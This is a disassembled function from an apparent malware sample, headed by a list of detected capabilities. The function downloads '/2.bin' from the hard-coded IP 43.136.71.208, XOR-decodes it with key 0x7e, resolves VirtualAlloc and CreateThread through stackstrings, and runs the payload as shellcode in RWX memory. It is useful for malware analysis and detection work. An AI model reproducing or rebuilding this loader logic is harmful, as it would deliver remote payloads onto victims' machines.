Function at 0x404580
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dc3a0
mov eax, dword fs:[0]
push eax
sub esp, 0xb8
mov eax, dword [0x517070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
push str.winhttp.dll
mov dword [ebp - 0x8c], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov dword [ebp - 0x80], edi
xorps xmm0, xmm0
mov dword [ebp - 0x84], esi
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 4], edi
push 8
movups xmmword [ebp - 0x54], xmm0
call fcn.0040b0f0
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x54]
add esp, 4
mov dword [eax], edi
mov dword [eax + 4], edi
mov eax, dword [ebp - 0x54]
mov dword [eax], ecx
mov edx, 0x10c8389
mov dword [ebp - 4], 1
mov ecx, esi
call fcn.004044c0
push edi
push edi
push edi
push edi
push edi
call eax
mov edx, 0x1c51c457
mov dword [ebp - 0xb4], eax
mov ecx, esi
call fcn.004044c0
push edi
push 0xcfdb
push str.43.136.71.208
push dword [ebp - 0xb4]
call eax
mov edx, 0xf5e93236
mov dword [ebp - 0xb0], eax
mov ecx, esi
call fcn.004044c0
push edi
push edi
push edi
push edi
push str._2.bin
push 0x50b878
push dword [ebp - 0xb0]
call eax
mov ecx, dword [ebp - 0x84]
mov esi, eax
mov edx, 0xf5ea1054
mov dword [ebp - 0x9c], esi
call fcn.004044c0
push edi
push edi
push edi
push edi
push edi
push edi
push esi
call eax
mov ecx, dword [ebp - 0x84]
mov edx, 0xce87357d
call fcn.004044c0
push edi
push esi
call eax
jmp 0x4046a6
mov esi, dword [ebp - 0x9c]
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0
push eax
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x4046c9
push str.Error
call fcn.00401670
add esp, 4
mov eax, dword [ebp - 0x7c]
inc eax
push eax
call fcn.00443010
mov ecx, dword [ebp - 0x7c]
mov esi, eax
xor eax, eax
test esi, esi
cmove ecx, eax
mov dword [ebp - 0x7c], ecx
inc ecx
push ecx
push eax
push esi
call fcn.00446260
mov ecx, dword [ebp - 0x84]
add esp, 0x10
mov edx, 0x54f59e03
call fcn.004044c0
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp - 0x7c]
push esi
push dword [ebp - 0x9c]
call eax
test eax, eax
jne 0x404724
push str.Error
call fcn.00401670
add esp, 4
jmp 0x404a50
mov eax, dword [ebp - 0x80]
xor edx, edx
add eax, esi
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x88], ecx
test ecx, ecx
je 0x40479e
push 3
lea ecx, [ebp - 0x5c]
call fcn.0040c9e0
lea ecx, [ebp - 0xa8]
call fcn.00401ac0
mov ecx, dword [ebp - 0x88]
mov eax, dword [ecx + 4]
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xa8]
mov dword [ecx + 4], eax
mov dword [ebp - 0xa8], ecx
lea ecx, [ebp - 0x5c]
call fcn.0040cac0
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xa8]
xor ecx, ecx
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], ecx
test edx, edx
je 0x404827
mov edx, dword [edx]
mov byte [ebp - 4], 5
test edx, edx
jne 0x4047d4
push 3
lea ecx, [ebp - 0x60]
call fcn.0040c9e0
lea ecx, [ebp - 0x98]
call fcn.00401ac0
lea ecx, [ebp - 0x60]
jmp 0x404816
mov edx, dword [edx]
mov dword [ebp - 0x88], edx
test edx, edx
je 0x404827
push 3
lea ecx, [ebp - 0x64]
call fcn.0040c9e0
lea ecx, [ebp - 0x98]
call fcn.00401ac0
mov ecx, dword [ebp - 0x88]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x98]
mov dword [ecx + 4], eax
mov dword [ebp - 0x98], ecx
lea ecx, [ebp - 0x64]
call fcn.0040cac0
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x90], eax
test ecx, ecx
je 0x404833
mov ecx, dword [ecx]
lea edx, [ebp - 0x54]
cmp ecx, edx
jne 0x404844
cmp eax, dword [ebp - 0x50]
jb 0x404844
cmp dword [ebp - 0x4c], eax
jae 0x404888
push str.vector_insert_iterator_outside_range
push 0x50b388
push 0
push 0x4e8
push 0x50b8c8
push 2
call fcn.00457360
add esp, 0x18
cmp eax, 1
jne 0x40486a
int3
push 0
push 0x4e8
push str.d:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023include_vector
push str.std::vector_unsigned_char_class_std::allocator_unsigned_char___::insert
push str._vector_insert_iterator_outside_range_
call fcn.004581e0
add esp, 0x14
cmp esi, dword [ebp - 0xac]
jbe 0x4048d4
push str.transposed_pointer_range
push 0x50b388
push 0
push 0x22f
push 0x50b3d0
push 2
call fcn.00457360
add esp, 0x18
cmp eax, 1
jne 0x4048b6
int3
push 0
push 0x22f
push str.d:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023includexutility
push str.std::_Verify_range
push str._transposed_pointer_range_
call fcn.004581e0
add esp, 0x14
push dword [ebp - 0x58]
mov eax, dword [ebp - 0x90]
push dword [ebp - 0xac]
sub eax, dword [ebp - 0x50]
push esi
sub esp, 0xc
mov dword [ebp - 0xc4], eax
mov esi, esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x40495f
mov eax, dword [eax]
mov byte [ebp - 4], 9
test eax, eax
jne 0x404929
push 3
lea ecx, [ebp - 0x68]
call fcn.0040c9e0
mov ecx, esi
call fcn.00401ac0
lea ecx, [ebp - 0x68]
jmp 0x40495a
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
test eax, eax
je 0x40495f
push 3
lea ecx, [ebp - 0x6c]
call fcn.0040c9e0
mov ecx, esi
call fcn.00401ac0
mov ecx, dword [ebp - 0x88]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
mov dword [esi], ecx
lea ecx, [ebp - 0x6c]
call fcn.0040cac0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x54]
mov eax, dword [ebp - 0x90]
mov dword [esi + 8], eax
call fcn.0040bf00
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0xc4]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0xa
mov esi, dword [ebp - 0x54]
test esi, esi
je 0x4049d7
push 3
lea ecx, [ebp - 0x70]
call fcn.0040c9e0
lea ecx, [ebp - 0xc0]
call fcn.00401ac0
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x70]
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0xc0]
mov dword [esi + 4], eax
mov dword [ebp - 0xc0], esi
call fcn.0040cac0
or edi, 1
mov dword [ebp - 0x8c], edi
push 3
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xb
call fcn.0040c9e0
lea ecx, [ebp - 0x98]
call fcn.00401ac0
lea ecx, [ebp - 0x74]
call fcn.0040cac0
and edi, 0xfffffffe
mov dword [ebp - 0x8c], edi
push 3
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xc
call fcn.0040c9e0
lea ecx, [ebp - 0xc0]
call fcn.00401ac0
lea ecx, [ebp - 0x78]
call fcn.0040cac0
push 3
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xd
call fcn.0040c9e0
lea ecx, [ebp - 0xa8]
call fcn.00401ac0
lea ecx, [ebp - 0x58]
call fcn.0040cac0
mov byte [ebp - 4], 1
cmp dword [ebp - 0x7c], 0
ja 0x4046a0
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
push eax
call fcn.00491520
mov edi, dword [ebp - 0x4c]
add esp, 4
mov edx, dword [ebp - 0x50]
mov ecx, edi
xor esi, esi
mov dword [ebp - 0x84], eax
sub ecx, edx
je 0x404ae1
cmp esi, ecx
jb 0x404aca
push str.vector_subscript_out_of_range
push 0x50b388
push esi
push 0x6c5
push 0x50b8c8
push 2
call fcn.00457360
add esp, 0x18
cmp eax, 1
jne 0x404aa6
int3
push 0
push 0x6c5
push str.d:program_filesmicrosoft_visual_studio2022community_vc_toolsmsvc14.16.27023include_vector
push str.std::vector_unsigned_char_class_std::allocator_unsigned_char___::operator___
push str._vector_subscript_out_of_range_
call fcn.004581e0
mov edi, dword [ebp - 0x4c]
add esp, 0x14
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x84]
mov al, byte [edx + esi]
xor al, 0x7e
mov byte [esi + ecx], al
mov ecx, edi
inc esi
sub ecx, edx
cmp esi, ecx
jb 0x404aca
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.kernel32.dll
call esi
push 0
call esi
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x8c], esi
test esi, esi
je 0x404d23
mov edx, dword [ebp - 0x4c]
xor eax, eax
sub edx, dword [ebp - 0x50]
test edx, edx
jle 0x404bae
cmp edx, 0x40
jb 0x404b9b
mov ecx, edx
and ecx, 0x8000003f
jns 0x404b3c
dec ecx
or ecx, 0xffffffc0
inc ecx
movaps xmm2, xmmword [0x50c380]
mov esi, edx
sub esi, ecx
mov ecx, dword [ebp - 0x84]
nop dword [eax]
movups xmm0, xmmword [eax + ecx]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + ecx], xmm0
movups xmm0, xmmword [eax + ecx + 0x10]
pxor xmm1, xmm0
movups xmmword [eax + ecx + 0x10], xmm1
movups xmm0, xmmword [eax + ecx + 0x20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + ecx + 0x20], xmm1
movups xmm0, xmmword [eax + ecx + 0x30]
pxor xmm0, xmm2
movups xmmword [eax + ecx + 0x30], xmm0
add eax, 0x40
cmp eax, esi
jl 0x404b50
mov esi, dword [ebp - 0x8c]
jmp 0x404ba1
mov ecx, dword [ebp - 0x84]
cmp eax, edx
jge 0x404bae
xor byte [eax + ecx], 0x7e
inc eax
cmp eax, edx
jl 0x404ba5
push edx
push dword [ebp - 0x84]
push esi
call fcn.00445760
add esp, 0xc
mov dword [ebp - 0x20], 0x74726956
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x416c6175
mov dword [ebp - 0x18], 0x636f6c6c
mov byte [ebp - 0x14], 0
push eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x9c]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, eax
call esi
push dword [ebp - 0xb0]
call esi
push dword [ebp - 0xb4]
call esi
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x50]
push 0x40
push 0x1000
push ecx
push 0
call edi
mov ecx, dword [ebp - 0x4c]
mov esi, eax
sub ecx, dword [ebp - 0x50]
push ecx
push dword [ebp - 0x8c]
push esi
call fcn.00445ce0
add esp, 0xc
mov dword [ebp - 0x30], 0x61657243
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0x68546574
mov dword [ebp - 0x28], 0x64616572
mov byte [ebp - 0x24], 0
push eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
push 0
push 0
push esi
push 0
push 0
call eax
movaps xmm0, xmmword [str.WaitForSingleObj]
mov esi, eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x34], 0x746365
push eax
push str.Kernel32.dll
movups xmmword [ebp - 0x44], xmm0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
push 0xffffffffffffffff
push esi
call eax
lea ecx, [ebp - 0x54]
call fcn.00406fa0
mov dword [ebp - 4], 0xe
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x404cfb
push 3
lea ecx, [ebp - 0x58]
call fcn.0040c9e0
mov ecx, dword [ebp - 0x54]
cmp dword [ecx + 4], 0
je 0x404ce9
nop dword [eax]
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov eax, dword [ecx + 4]
mov eax, dword [eax + 4]
mov dword [ecx + 4], eax
test eax, eax
jne 0x404cd0
mov ecx, dword [ebp - 0x54]
mov dword [ecx + 4], 0
lea ecx, [ebp - 0x58]
call fcn.0040cac0
mov eax, dword [ebp - 0x54]
push 8
push eax
call fcn.0040b180
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00442f60
mov esp, ebp
pop ebp
ret
push 1
call fcn.00455a70
int3